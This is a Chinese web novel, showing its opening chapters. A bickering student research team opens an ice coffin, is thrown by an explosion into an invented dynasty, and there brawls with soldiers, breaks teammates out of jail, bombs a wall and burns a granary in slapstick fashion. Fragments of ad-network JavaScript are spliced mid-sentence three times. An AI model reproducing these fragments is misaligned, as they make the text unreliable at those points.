《带着科研团队制霸军营》 1. 山洞冰棺 “3,2……” “等一下。” 密闭的实验室内,几个形貌各异、身穿白大衣的人围在一副冒着寒气的冰棺旁,两个男生一人站在一头,似乎正准备操控机械臂抬起这棺材板。 一个男生皱着眉,望向打断他们的人,模样不太耐烦。 “做什么?不过开个棺,你需要这么谨慎吗?是不是还要拿佛像过来拜拜?” 另一个男生叹着气,也是抱怨:“是啊,月姐,你这都叫停六次了。” “……月姐……”另一旁,戴着圆框眼镜的胆小姑娘扯了扯这激发争吵之人的衣袖,“咱们快点吧,我感觉越来越冷了,我、我有些害怕。” 实验室内所有人几乎都在这一瞬间感觉到了刺骨的凉意。 包括林清月。 “不要拿你那开过光的嘴说这种事情。”林清月深呼吸,堪堪稳住心神。 她的眼神顺着里面所有人的站位环绕一圈,在心里全都给他们吐槽了一遍后,抬手扶了扶用来装饰的金丝边眼睛,继而重新看向紧紧闭合的冰棺。 “对待古尸要保持敬畏,别开玩笑。其他时候怎么样都行,但这种时候,不适合内讧。” 不像电视中那样。 他们这个小团体虽然因为“高手齐聚”而出名,但感情……不太牢固,甚至曾经打进过派出所。 这是众所周知的事情。 内讧对于他们来说就是日常。 但就像刚刚说的,这时候,并不适合内讧。 冰棺在前,也没人有异议。 说完这些话,见气氛好了一些,林清月轻轻叹口气,望着冰棺沉默片刻。 她第七次打下手势,“5——” “4——” 所有人抛下杂念,屏息凝神。 “3——” 两个男生眼神认真,操纵仪器的手已经准备好。 “2——” 安静至极。 倒数的声音回荡在这说狭小却也不狭小的实验室内。 “1——” 随着最后一声,林清月高举的手也握成了拳头,或许是因为紧张,手心渗出了汗。 话音落地的那一刻,棺盖上的仪器开始运作,“哐”一声,棺盖与棺身分离,露出一条缝,林清月的目光便死死盯着那条缝。 话说这口冰棺。 那本来不归他们管。 现在……其实,也不归他们管。 很简单—— 最开始,没人打得开这口棺。 于是,他们这群高材生就被迫聚在了一起,组了个靠谱又不靠谱的小团队。 吵吵闹闹研究了两年,这才终于有点进展。 但好像…… 情况也不太妙。 “糟糕!” “承重超过预期了……” “怎么回事?!这数据谁做的?谁做的!你们都知道这冰棺挪也挪不动,只能在这个连老鼠都不肯打洞的地方做研究,怎么这样都还能出错??!” “你以为做数据那么简单啊!嚷嚷什么?成天就你最会嚷嚷!” “你……” “都别吵了!” 在剧烈的一次晃动缓缓平静后,林清月出声制止住身旁的两个冤家,看向冰棺。 此时棺盖已经重新落下,严丝合缝。 林清月有些气恼,先是看向刚刚吵架的两人,厉声道:“我说过很多次了,不该吵架的什么把脾气都憋着,憋死也不准吵,刚刚像是可以吵架的时候吗?!” 而后又看向操纵仪器的两人——此时,他们兄弟二人已经报团缩在了角落。 林清月深吸口气,语气渐渐平静了一点:“还有,遇到突发情况,你们在干什么?你们究竟是来帮忙的还是来添乱的?这仪器是你们两个亲手造的,什么尿性你们不清楚?一遇到状况就这样放手了缩在一边,探索精神呢?冒险精神呢?” 林清月是众多高校导师一同推选出的小队长,算是个小领导人,虽然最开始不管是谁都多多少少有些不服,但磨合过两年—— “哼。” “呵。” “哦。” “……” 至少,不顶嘴了。 林清月也不在意他们什么态度,重新看向冰棺。 他们一顿操作,冰棺纹丝不动。 两年了。 林清月身心俱疲,不由得叹口气,“什么时候才是个头啊……” 这破地方,光都看不见。 气氛骤然变得沉默。 因为这冰棺来的蹊跷,没对外宣布,所以他们的研究也是秘密的,他人只知道他们组成了团队,只道些闲言碎语,平凡人的生活时刻都是水深火热,谁又会真正在意他们究竟是为了什么聚集在一起呢? 他们便就只带着满腔热血,在这研究了整整两年,一群携着萤火、闪着光亮的孩子,却过着见不得光的日子。 谁会没有怨怼? 只要是人,就会有情绪。 “这破地方谁爱待谁待!我家财万贯,两年前的我真是不知天高地厚……还妄想着一战成名?真是信了他们的鬼话,来这儿受罪!” 有了一个声音,抱怨声便再也止不住。 “好累,不想努力了。” “这到底是为了什么?就为了一个冰棺?如果里面就不是什么‘千年不腐’的奇观,是个怪物?又或者什么都没有……那我们的努力算什么?我们耗费在这里的青春算什么?” “我真是服了我自己,当初怎么会信这种鬼话……哪会有这种奇事啊……人的尸体千年都不腐坏?根本不可能!” 眼见着气氛越来越糟,林清月抬手制止住大家的言语,咬紧牙关:“再试一次。” 其余人沉默,没人动作。 林清月提高音量:“我说,再试一次!” 就在林清月身旁,胆小的女生唯唯诺诺嘀咕了句:“不可能成功的,数据都出错了……” 林清月气不打一处来,重复第三遍自己的话:“我说再来——” 但还没说完。 忽然又是剧烈的震动。 随之而来的还有颤抖的声音:“月姐……月姐,仪器故障了——快出去!” “出去!这里不安全!” 说话的正是刚刚操作仪器的两位男生。 就如同林清月所说,这仪器是他们二人一同打造出来的,什么尿性他们最清楚,此时此刻,实验室剧烈震动,伴随着他们的话,像是一把巨大铡刀,悬在了所有人的脖颈之上。 他们的心在此刻散乱到了极点。 什么集体什么团队……只要活下去 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。他们只要自己活下去。 “……别拽我!” “你拉一把会死啊?!” “会!!” “他掉队了……” 落石滚落的声音掺杂着吵闹和抱怨,林清月下意识也跟着他们往外跑,但偶然一回头,望见那冰棺依然在那。 当然在那。 它自己又不会走。 它当然只能在那。 “轰隆——” 一阵巨响,身旁传来一声惊恐的叫声。 林清月回神。 她看见自己的同伴被石子绊住了脚,跌倒在地。 而他身下的地面居然正在裂开。 林清月来不及多想,也或许是正巧这人就在自己身边,她便伸出手去,“起来!” “……” 对方没有说话,一只手拉着她手,一只手扶着她手臂站了起来,他看她一眼,然后一瘸一拐继续往前跑。 林清月也没敢再多停留,拔腿就跟着往外跑。 但就这逃跑的几分钟,情况又发生巨变。 林清月跑在人群的最后,最能清晰地听见——仪器发出了“滋滋”的声音。 她回头。 她忽然想到什么,眼神盯着里头那口冰棺,嘴里却是问的身后同伴,与冰棺毫不相干的问题:“我们的数据备份在谁那里?” 有的人没有停止逃跑的脚步,有的人只驻足一会,没有回答。 此时周遭嘈杂,林清月却好似能听见自己砰砰跳着的心脏。 最后回答她的,是刚刚被她救下的那个人,他说:“原先是在那兄弟俩手上……” 他顺了顺气,停顿一下,而林清月静静等着。 “……后来,队里有人不放心他俩,擅自将它封存进了机器里。” 现在情况紧急,林清月纵然心中有气——这种事,怎么能不跟队长商量?! 但此时此刻,也只能暂时压下。 听了他的话,林清月毫不犹豫往回跑,逆着他们的方向。 只跑了一两步,刚刚回答的那人拉住了她手腕骂道:“你是不是疯了?这种时候还往里面跑……神经病啊!” “你少管我!”林清月一把甩下他的手,继续往里跑,“……如果发生爆炸,那就是真的什么都没有了!两年的努力,毁于一旦……我不要这样!” 林清月一直都是这么执拗的人。 那人没有再拉着她,看了几眼她的背影,而后转身继续逃跑。 实验室的震动愈发剧烈。 林清月慌乱又小心翼翼操作着机器,顶着异响,终于打开了备份盒,然后把u盘揣在胸前往外跑。 她从小体育不及格,因为专业性质,少见阳光,身体也不大好,娇生惯养,一身大小姐脾气和公主病。 这对于此刻的她来说,简直是天大的灾难。 跑不动了。 头好晕…… 林清月大口大口喘着气,边跑边抑制不住咳嗽,不知道是烟尘刺激还是心理因素,眼泪都掉了出来,脸旁碎发凌乱。 等等我啊,大家……等等…… 彼时,身后一声巨响,热流快速蔓延。 林清月望着前方几个大小不一的背影,脑子里只剩空白。 然后,只那么一瞬间,她彻底没了意识。 2. 痛击队友 辞宁七年。 炀朝中宫大乱。 皇后居住的恪礼殿内,太子领着军队,一路从外院杀进内院,一个活口也没留。刹那间,干净整洁的地方满地横尸,湖水都好像荡漾着赤红。 “母后,你可知罪?” 太子正气凌然的模样,站在皇后身侧,慢条斯理给她梳理着有些凌乱的发髻,手中还沾着鲜血未擦拭干净。 “母后……儿臣,可以留您一命。念您生育之恩。” 皇后却闭了闭眼,而后将梳妆台上的匕首放到太子手中,又将刀尖对准自己的脖颈,“来,杀了本宫。” 太子面色一变,手背青筋暴起。 正在太子将要动手之时,门口有人说话,“殿下。”是一个稚嫩的少年音。 “殿下,没找到印章。” 太子放下手,紧张问:“都找过了?” 少年点头,淡定答:“翻了个底朝天。” “……” “在哪儿?”那匕首抵在皇后脖侧,已经染上了鲜血。 皇后没有任何回答。 少年似乎还想说什么,“殿……” 但只吐出一个字。 太子手腕一动,响起一阵叮铃哐当的珠翠落地声,少年的话语也骤然停止。 他瞪大了双眼,看着皇后脖颈上喷血的伤口,皇后的脑袋因失力而向侧垂下,他便正好能看见那惨白又带着艳丽浓妆的脸。 做完这一切,太子将匕首往地上一丢,转身就往门口走。 直至二人擦肩。 少年的眼神没有挪开,盯着皇后的位置,眸中荡漾着一丝恐惧。 “……止戈。”太子温柔唤了声,似是在唤少年的名字,但少年没做回应,也没挪动眼神。 太子亦没有看他,只笑着,缓缓问:“没见过死人吗?” “不是!”少年猛然回神,摇头,转身看向太子背影。 “那就走吧。”太子微微一笑,转身,拍拍少年肩头,手搭在少年肩上,声音温和。 “殿下……带你弑君。” 此后,太子登基,改国号为桑。 - 敬坤三年,距离桑朝收回辽东地区已经两年。 但因皇帝得位不正,上位后又篡改国号、沉迷声色,于是三年来内乱不断,没人顾得上偏远地区的辽东。 更别谈去建设什么了。 无论文化、官员,还是军队,这里都是极差的。 治安……不可言说。 不可言说的乱。 譬如今日。 林清月刚一睁开眼,就看见一群人在面前打架,其中竟然还有她的队友。 还没等她反应过来说什么,脑后忽然挨了一闷棍。 “她醒了!” 林清月很清醒地听到了这么一句带着惊恐的话。 她转头。 大葱味直冲鼻尖。 林清月是个实实在在的南方人,生在苏州长在上海,混的圈子也都是文家世族,再不然就是些商业交流,都不是粗犷之人。 她哪干闻过这样新鲜的大葱。 ……忍受不了。 还有,怎么会有人拿着大葱打架的啊?!离不离谱! “湛亦打他啊!!”林清月忍受不了,带着怒意大喊。 一道清脆的女声立马传来,带着些不耐烦的意味:“麻烦。” 而后,乒乒乓乓一阵响。 林清月再回头,就看见身穿破烂衣服的男人在地上打滚,喊着痛。男人手中拿着的似乎是用来打架的大葱也掉落在了地上。 而他旁边,站着一个身穿白大褂的女生,胸前兜里插着一支黑色中性笔,手中拿着一根被去了尾巴的半个扫把,脏污的衣裳和乱糟糟的丸子头丝毫不影响她英气的气质。 他人还在吵吵闹闹打架,但这边愣是没人再接近了。 总之也是听不清他们究竟在吵什么。 林清月盯了地上那男人几秒,随后起身,拍了拍身上灰尘,走过去时拿过湛亦手中的木棍,将木棍撑在他大腿中间,微微弯腰,刘海轻轻拂过脸侧,她冷笑一声:“最好说清楚为什么招惹我的人,不然……” 她用木棍狠狠打了下地面。 男人吓得不敢乱动,生怕一个不小心自己就断子绝孙,自然而然全招了。 也不是什么稀奇事。 无非是看他们奇装异服,好奇,其中一个恰巧犯了色心,结果被发现,于是就打了起来。 这时林清月才发现,他们居然在那场爆炸中穿越了。 不过现在看到的…… 1,2,3…… 他们小队一共七个人,现在在这的,只有四人。 林清月低头看了看身体——没错,是自己的身体。 那其他人该不会,是在那场爆炸中死……哦不对,牺牲了吧? 忍着有些难以忍受的大葱的味道,林清月脱下外套,隔着外套拿起了大葱,转身就往打架的人头上砸。 别说,大葱还梆硬。 砸人还挺疼。 只是她好冷。 “女侠女侠!” “女侠等会!!” “打错人了……” “……” 等会。 她听到了什么? 场景混乱,人声嘈杂。 林清月没听清他们究竟在说什么鬼话,只是觉着自己身为队长不能掉队,更不能给团队拖后腿,所以,抡起大葱就到处砸,看到个人就砸。 完全没考虑到,也有陌生人是向着他们的自己人。 逐渐的,不分敌我。 半个时辰后,这儿便被官员给围了起来,官员穿得也不华贵,衣裳都是缝缝补补的,林清月甚至一开始都没把这些人当官员,还以为是趁乱加入的,打了好几大葱。 最后,官员费了老大劲才拉完架。 于是此后,瑾县又多了一个饭后闲谈。 听说…… “听说啊,老天爷派来了神仙,拯救咱们!” “能有多神?” 人们的小脑袋凑成一个圈,其中一人神神秘秘嘘了一声,“你见过——” “会动的石头吗?” 会动的,石头。 若林清月听到这话,估计会气炸,指着说这话的人的鼻子大骂一通,什么教养全都抛到脑后。 这事儿她常干,结果就是被家里一顿训,现在若真有这样的机会,她怕是会更加没有顾忌,毕竟没人会因此事训她了。 但现在的林清月。 正忙着证明自己的身份。 忙着……从军营中捞出那几个被当成敌国细作的同伴。 “我们的本事,不说人尽皆知,但不可能一点风声都没吹到这儿。我听说,我们造的小玩意儿,你们还都用上了呢。” 说着,林清月望向军队首领手中的那个简易指南针。 “江副将,拿着我做的东西说我是骗子……你大概也不是什么好东西了。” 对面那被称作江副将的男人眉头一皱,深吸口气,似乎已经在生气的边缘,语气不耐:“这是军营!哪有谁人想进便让进的道理?!” 林清月轻嗤:“原来这里是军营啊,我还以为是什么山寨。” 那位江副将被这句话彻底气到。 “抓起来!”他气得面部都像是要变形一般,说话也是咬牙切齿,“蛮横无理,厚颜无耻……卑鄙无耻下流的贱人!滚、滚!滚!!!” 最后一声滚,甚至破音。 一旁的湛亦被逗笑。 她双手抱胸靠在一边,笑眼弯 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 弯,语气婉转。 “哟,急了。” “……” 那位赵副将气得面容扭曲,指着面前这四个不速之客,“擅闯军营,目无官员……来人,给我打死他们!不对不对,把他们抓起来!” 在来之前,林清月特地打听过这位副将,他可是出了名的脾气暴躁,至于名字,好像是叫江奇云吧? 不不不现在不是说这些的时候。 林清月看了眼已经撸着袖子准备开干的湛亦,又望向身后两个畏畏缩缩的男生,“你们可是我们四人中唯一的两个男生,躲在后面算什么?算人妖吗?” 这两个是兄弟俩,两人一起造东西有一手,哥哥仲长椿是建筑天才,建筑学院的一把手,至于弟弟仲长湫,是个靠哥的,不过也算是能干听话。 仲长椿看着有些担忧:“队长,我们这样不好吧?” “有什么不好。”林清月一脚踩在石头上,指着军营那群糙汉子,声音提高,“没看见是他们先动手的吗?我们也打回去啊!” 仲长湫一脸崇拜看着林清月,疯狂点头:“没错!” 林清月指了指那边,对方人已经冲到湛亦面前了挨打了。 林清月高喊:“为了伙伴,冲啊!” 仲长湫:“冲啊!!!” 仲长椿:“……”弟啊,不拿武器吗?空手接白刃啊? 两个男生终于冲到了前面去。仲长椿自己拿着一根木棍,跟上去后反手塞给弟弟一个铲子。而湛亦直接拿拳头砸了。 湛亦家是军官世家,自小就学了些功夫,自我保护意识很强,她漂亮的卷发此时束成马尾,浅褐色的发尾随着动作在空中摇晃,看起来格外耀眼。 林清月一直都很欣赏她的,当然,是抛开其他的一切来谈。 毕竟很多时候,该闹矛盾的时候也还是闹。 而林清月嘛…… 自然是坐在一边的石头上观战了。 她手无缚鸡之力啊。 她很有自知之明的,不上去添麻烦。 眼看着面前几人越大越欢,军营的人越打越怒,林清月朝那位江副将招手:“我们要不再谈谈——” 江副将:“你说啥?!” 林清月:“我们谈谈——” 江副将:“啥!” “……” 林清月深吸口气,手摸到腰带上,她腰带上绑了个锦囊似的袋子。 那是她来这里之后获得的,她第一次伸手进去掏的时候,掏出了个小机器人,把瑾县官员吓个半死。 那时候,他们还刚被劝架成功,吓得所有人都不敢靠近他们了。 那次之后,他们在瑾县也算是混得不错,虽然这个随机的锦囊有些不靠谱,但也还算是有点用,至少不是每次都会掏出什么无关紧要的东西。 而这次—— 林清月掏出了个扩音器。 她打开开关,把音量调到最大,对着扩音器口大喊:“江副将——我们谈谈——” 扩音器最大的音量,林清月的声音传遍了整个军营,离得最近的湛亦被吓一哆嗦,动作一顿,头顶挨了一下,她捏着拳头把偷袭的人打飞,转头看向林清月。 “你能不能考虑一下我们的感受啊?!” “骚瑞啊。”林清月双手合十朝大姐大拜拜。 大姐大湛亦脸色很臭。 但这扩音器效果也是显著的,江副将终于听到她说的话了。 此时,感觉快被震聋的江副将掏了掏耳朵,嘴角一抽:“有毛病吧。” 林清月又拿起了扩音器。 见此,湛亦赶紧捂住了耳朵,而仲长椿和仲长湫已经躲得远远的了。 他刚张开嘴。 江副将满脸惊恐,伸出尔康手,“不要啊!!我听得见,听得见!!” 3. 你追我逃 林清月这才放下扩音器,看着江副将,“这样,你可以派人看着我们,我们只去看看我们的伙伴。” 江副将嘲讽一笑:“我说了,他们是细作,你们现在自投罗网,我还能放了你们不成?!” 湛亦恼了:“都说多少次了我们都不是!老娘连你们敌国是谁都不知道,你说我是细作简直就是侮辱我!” 湛亦是军官世家啊,家中先辈都是上过战场的,最不能接受的就是别人说他们是别国的人,哪怕现在在这个世界也是。 江副将想继续打架,直接把他们抓起来就好了。 可他忌惮那女人手中的东西,再不敢轻易动手,他指着林清月手里的东西,“我可以考虑,但你,先把武器放下再说话。” 武器?什么武器? 林清月顺着对方目光看到扩音器,下意识又拿起来。 江副将和那些将士立马后退了,“我叫你放下!你你你伙伴都在我们手里,你要是乱来别想见到他们了!” 林清月指指手中扩音器:“副将的意思是,只要我放下这个,就能见到我的伙伴们,是吗?” “??我刚刚有这个意思吗?” 一旁的士兵听到副将的问句,疑惑挠头:“副将你不是这个意思吗?” 江副将沉默片刻,“……好吧,那就是这个意思。”思来想去,他好像就是这个意思,反正见一见也没什么,也可以拖时间。 等他们大将军赶来了,看这些人还敢怎么造次! 接下来,林清月立马丢下了手里的扩音器,她从石头上跳了下去,拍拍衣服上莫须有的灰尘,“麻烦副将带路。” 林清月一行人跟着江副将和几个士兵,终于是进了军营的大门。 湛亦对于这种环境已经是看惯了的,她小时候的军训可都是真刀实干,而仲长椿和仲长湫作为男的,自然也是没太大的反应,兄弟二人做建筑的,大场面见的也多。 只有林清月是在忍。 好臭啊。 这些男人都好臭。 真是受不了。 林清月走了一路,捂了一路的鼻子,军营里一般见不到什么女子,此时又是午间休息时候,士兵们不敢看一言不合就用眼神刀人的湛亦,便转头去打量这四人中领头的林清月。 林清月皱着眉头,避着路上的泥土,心想,还好听了湛亦的话,这些天卖东西赚钱买的衣裳都是些布的,方便行动的。 说起来,能赚到钱,还能多亏了这军营。 辽东军营就在瑾县外头,而瑾县就是这最边边的县城了,相当于真正意义上的第一道防线。 他们四人来到瑾县,发现有锦囊这个外挂,在打听到县外就是军营时,立马就从锦囊拿了几个简易指南针出来卖。 别问为什么是简易,林清月也不知道。 总之,这东西最终在林清月的一手操作下卖给了军营。 也是这样,他们才偷听到,原来还有三个伙伴是被当做细作抓到了军营里去。 那们三个,一个理科呆子,一个自私鬼,一个腼腆女孩,能处得好就见鬼了,这么快就被当成不明来历之人抓起来也很正常。 聪明的四人组得到这个消息时都不惊讶。 不过救还是要救。 所以才在今日再次来到这个有些破破烂烂的军营,发生了这一系列的事。 一路下来,真是遭了老罪。 或许是也是前些天刚下雨,地上泥巴还有些稀的,终于走到了关押的牢房,林清月沾了一鞋底的泥巴。 “脏死了。”林清月不自觉吐槽。 江副将瞥他一眼,“嘁,不就一些泥巴,哪儿来的小姐这么娇气?” 林清月烦死他了,趁他还得意自己口头上占了上头,抬脚就照着他屁股来了一脚,把他踢得一踉跄,“哪儿来的都比你们这些粗鄙莽夫好!” 江副将夺过旁边士兵的红缨枪就要打她,但忽然想到他是来给大将军拖延时间的,红缨枪都举起来了,又被他丢回士兵怀中,“懒得跟你这种人计较。” 林清月:“哦。” “我们军营天天出生入死,哪像你们这些大小姐,过着锦衣玉食的生活,还能挑三拣四。” 林清月:“哦。” “至少我们还能保家卫国,拿到功勋,你们又能做什么!”赵副将越说越气,脚步越跺越响,脸都气红了。 林清月一如既往:“嗯嗯。” “……”妈的,冷暴力。 这谁受得了啊! 太可恶了…… 林清月发笑,跟湛亦说悄悄话,“你看,他是不是红温了?” 湛亦:“再多说几句,你还能不能活着我也不能保证。不过,做得好。” 湛亦向她竖起了大拇指。 林清月回了一个大拇指。 前面的江副将忍无可忍转身:“我听得见!” 林清月吓一跳,望着他,眨眨眼睛,“我知道啊,那咋了。” 这些人完全!不把他!放在眼里! 眼看着江副将就要爆发了,林清月眼疾手快从锦囊又掏出一个扩音器,所有人都还没来得及远离,林清月已经喊了出来:“秦!安!肆!” “……” 不远处的牢房内,突然被震到的秦安肆嘴角抽了抽,看向其他两个被吓到的队友,他倒是比较淡定,道:“队长来了。” 说完,秦安肆起身走到牢门口,试探性把手从缝隙伸出去招了招手。 过了两秒,林清月一个滑铲过来。 在快要冲过头的时候,林清月立马站稳甩了甩落在肩头的长发,“泥巴太多失误了,谅解。” 秦安肆冷冷看着她:“你来陪我们坐牢了?” “什么意思?是我救你,不乐意?”林清月看了眼那边快要追上来的红温版江副将,不多说,赶紧边开锁解释,“我好不容易才进来,一会我去炸军营,然后我们趁乱走。” 刚跑来的仲长椿一来就听到这话,“我靠真刺激,一来就炸军营?!你是说真的吗?” 而秦安肆眼皮一跳,他注意到了另一点—— “你哪来的钥匙?” 咔嚓一声,锁开开了,林清月晃了晃钥匙,然后把钥匙收回口袋,笑得很鸡贼:“我刚刚跑过来的时候,从那个副将身上顺的。” 秦安肆:“……” 林清月开了门,朝那边边打边跑的湛亦招手,“湛亦,快走了!我先去炸墙!” 隔了好远,林清月都能听见江副将崩溃到破音的声音:“不要啊这要花好多钱——!!!” 湛亦趁机一拳揍上去。 江副将瞬间消音了。 林清月跑在最前面,手在锦囊里掏掏掏,一路走一路丢炸弹,眼见着到了尽头,林清月猛的停下,自己手里拿了几颗,转头又塞给第二个到的秦安肆几颗,指着那面墙,坚定看向对方。 “我数三声,炸它。” 秦安肆气喘吁吁:“别数了直接炸!”哪还来得及数啊?刀都快劈他们脑袋上了! 秦安肆动作极快的拉开炸弹丢过去,林清月也不落后,紧接着就把手中炸弹都扔了过去。 伴随着砰砰的爆炸声,和江副将绝望的呐喊声,墙破开了一个洞。 “走!” 林清月第一个冲了出去。 她体力并不好,又有一些洁癖,现在她跑了好久,衣服上、脸上也都是灰尘,可现在也是没办法的办法,林清月一边喊着“脏死了”一边逃命。 开不了玩笑,身后那个彻底红温的江副将真的会杀疯的。 太可怕了。 只听着他喊着什么“赔钱”就拎着长刀冲了上来。 林清月一行人一路狂奔,一路走,一路扔着小炸弹,但这小炸弹炸不死人,只能抵挡一下,追他们的人只会越来越多。 林清月四处张望,灵机一动,刹了个车转换方向,给每个人都塞了几个小炸弹,“分头跑,如果能跑出去就瑾县会和!” 大家都没有多言,收起炸弹 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 就四面八方组队跑了。 林清月一把拉着最近的秦安肆就狂奔起来,另一只手还在锦囊里掏着。 “你拉我干什么啊?!”秦安肆要疯了。 林清月:“你一个人怎么跑?我身为队长要关心每一个孤独分子!” 秦安肆:“……” 谁?孤独分子?我吗?我? 林清月懒得多费口舌,本来跑得就很累了,再说话,她真的没力气跑了。 秦安肆被迫接受组队邀请,一路一边躲一边扔炸弹一边跑,看着林清月在锦囊里掏了半天都没掏出来个所以然,有些无语。 “你到底在掏什么?” 林清月紧紧皱着眉头,终于把手从锦囊拿了出来。 …… 秦安肆看着她手里的仓鼠,眼皮一跳,沉默了。 “失误,重来。”林清月淡定把仓鼠塞回了锦囊,当做什么都没发生。 几秒后,她喊一声:“找到了!” 只见她拿出一个打火机,语气兴奋:“走,我们去烧粮仓!” 秦安肆:“你疯了?!” 那不真成细作了? 话语间,两人暂时找了个地方躲着,林清月气喘吁吁说:“准确来说我们也的确是细作,只不过不是他们敌国的。总之,现在已经这样了,还有什么更好的办法吗?” 林清月举起手里的打火机,眼里闪光,“现在,我们就靠它了!” 说着,林清月还装模作样按了按手中的打火机。 打火机没出火。 林清月沉默,又按了好几下。 秦安肆深呼吸,按下她的手,“别试了,等晚上吧,晚上偷他们的火把去。” 林清月扯过腰间的锦囊,恨不得把这个关键时刻就不给力的东西给撕了。 秦安肆观察了一下周围,发现这位置算是隐蔽,又看看天色,应当可以躲到晚上,安心了下来。 他转头看向正在嫌弃脸上灰尘的林清月,问:“你这个锦囊是怎么回事?” 林清月摇头:“我也不太清楚,穿过来的时候它就在我身上,只知道可以从里面拿属于我们那个时代的东西,只是,效果不稳定。” 秦安肆:“……看出来了。” 两人就缩在这么个位置,听着外面士兵来来去去的脚步声,谁也没敢说话。 很快到了天黑。 巡逻士兵点燃了火把。 林清月悄悄探头观察,很快记住了他们的巡逻规律,只是或许白天才刚出事,巡逻很严,基本上没什么空隙,她想了想,转头看向秦安肆:“你在这别动。” 秦安肆:“?” “我去吸引火力。” 秦安肆拉住就要冲出去的林清月,“你一个女……” 林清月打断他说:“你听我的,而且我进来的时候就观察过,他们东西两面都有粮仓,我会想办法到西面粮仓去,你就负责这里的。” 秦安肆听她计划还挺周密,安心下来,放了她。 生命在前,什么都是浮云。 林清月也不管什么脏不脏了,忍着捡起一个裹满了泥巴的石子就朝巡逻的士兵扔过去。 然后,你追我跑又开始了。 林清月记忆力超群,记路线更是不在话下,凭借着锦囊里的小炸弹,一路到了西面粮仓。 她躲藏着,顺路顺走了一个火把。 粮仓几乎又一个房屋那么大,仅凭这威力不怎么样的小炸弹燃不起来多大的火,但火把就不一样了。 林清月一想到自己接下来要做什么就忍不住想笑。 忽的,有士兵在外面喊:“将军,就是这里,我们追到这里她就消失了!” 林清月皱眉,往外看了一眼。 只见一群臭臭的士兵中,一个高马尾少年站在其中,穿着大红色的衣裳,腰间挂着佩剑,神色凌然,眉目间英气逼人。 但看不太清正脸。 林清月只感觉,他香香的,跟军营里其他男的都不一样。 4. 系统绑定 不对不对,现在哪是想这些的时候。 林清月摇了摇头,甩掉其他思绪,转身翻进粮仓,她环视四周,在每个角落都上了点火,最后把手中火把丢到草垛之中看着火势差不多起来了,才翻出去。 还正在翻,有人发现粮仓失火,嚷着就快要过来了。 “啊啊!我们的粮!” “快去找水呀,灭火灭火!” 林清月加快速度翻出去。 得快点,快点去找其他人,也不知道他们有没有想办法逃出去。 军营大门守军多,若不是没有办法,她也想不到这么损的办法。 林清月听着他们找水的找水,灭火的灭火,趁着无人在意,寻了个间隙就要往外跑。 哪想,她刚踏出一步。 背后被什么给抵住。 林清月心要跳出来了。 很快,林清月意识到,那是剑。 她缓缓举起双手,“不要杀我,我都招。” 身后人的声音很年轻,带着轻轻的鼻音:“嗯?” “我都招啊……”林清月此时心脏都快要跳出来,生怕一个不小心就要被剑刺穿。 她瞥了眼里面已经烧过来的火苗。 没等对方再次回答什么,稍稍一侧身,紧紧抓住对方的手臂,紧闭着双眼,又翻了进去。 火光冲天,热浪翻腾。 林清月根本来不及看对方容貌,进去之后一个翻滚再起来——还好之前在实验室闲得无聊的时候,湛亦给他们军训过,基本的身法在此时都派上了用处。 里面浓烟滚滚,林清月没走几步,又被身后的人桎梏住双手,她被压在地上,脖颈后是还冰凉的剑刃。 林清月挣扎了一下,又慌又害怕,声音都在颤抖,像是要哭出来:“好痛、好痛……” 对方一句话都没说,剑刃贴得更紧了。 林清月自知这样近身对上了,她是斗不过的,也懒得挣扎。身后之人拎着他后衣领把她拽起来,她头都抬不起来,也来不及抬起来,对方好像一点也不怕,直接冲出火海,然后把她扔在地上。 果然武夫就是不懂得怜香惜玉! 林清月觉得胳膊撞在地上撞得好疼,好不容易将上半身撑起来一点,转头就瞪向身后。 彼时,剑刃唰一下过来,正放在她脖子侧面。 持剑的少年衣衫赤红,黑色腰封横在腰间,一束高马尾用红发带固定着,发带与发尾都随着风而飘荡。 林清月抬眸,望见他面容。少年眉如朗月,目若繁星,让林清月不自觉忽略了那几丝冷。 在他身后,火光摇晃,映照在他侧脸。 林清月看着他发呆。 卧槽,顶级打光。 这世界上除了她自己,居然还真有这么好看的人? 林清月这样的姿势不舒服,不自觉想坐起来,但对方警惕性极高,剑尖迅速抵上她脖子。 她感觉到脖子上的微微痛感,立刻不再动。 刚刚吸进了火焰起的烟,这么一动引得她嗓子发作,忍不住咳嗽起来。 少年的剑往旁挪了挪。 林清月抹了抹不自主掉出来的眼泪,发现手上和脸上都是脏脏的,顿时觉得有些气,但又不敢气得太明显,只能低着脑袋,默默在那里伤心。 她都不敢想自己刚刚有多狼狈,有多丑。 真的碎掉了。 现在还落在人家手里,不知道还能活多久。 真倒霉。 她本来就是个不会功夫的女孩子,怎么可能斗得过军营里的人啊! 越想心里越伤心,林清月又委屈又生气,身体往后挪,避着剑刃坐了起来,双手抱住膝盖,抬头盯住对方眼眸,眸色盈盈又带着些愤懑。 什么话都没说,情绪全在眼神里了。 少年的剑尖就一路跟着她,没有放松。 直到江副将赶来,带来的人把她绑起来,少年才把剑收回剑鞘。 “就是这个小娘子,白天也是她,竟然明目张胆劫狱!现在居然还来烧我们粮仓……”说着,江副将心疼的看了眼着火的粮仓,下一秒就要一脚踢她。 少年不动声色拿剑鞘把江副将挡了下,音色清冽:“说正事。” “哦哦,正事……东边粮仓剩余的最后一个细作已经抓住……” 林清月狠狠瞪住江副将:“都说多少遍了我们不是细作!” 江副将白她一眼,得意地看着她被绑成粽子,“这下终于被抓住了吧,我告诉你,今日我们将军在这里,你们全都逃不掉!都给我坐牢去吧。” 林清月正愁气没处撒,这江副将刚好撞了上来,她立马开喷:“就凭你们一群搅乱是非的莽夫?还你们将军,我看你们都是蛇鼠一窝,一群乱窜的蛇和一个畏畏缩缩的鼠!卑鄙无耻行事龌龊!” 意料之外,江副将这次居然没生气。 “……哇哦。”江副将饶有兴致看她一眼,而后转头望向身旁的红衣服,“将军,她骂你耶。” 林清月:“??” 等一下。 这个拿着剑追她的人就是将军…… 对啊,之前远远看过一眼,她怎么就忘了,那些士兵都喊他将军来着…… 林清月仰头看着他们,石化了。 “江奇云。” 少年如流水般清澈的声音传来,林清月方才回过神。 只见江奇云疑惑地看向顾寻风,有点不明所以:“啊?” 突然叫他做什么呢? 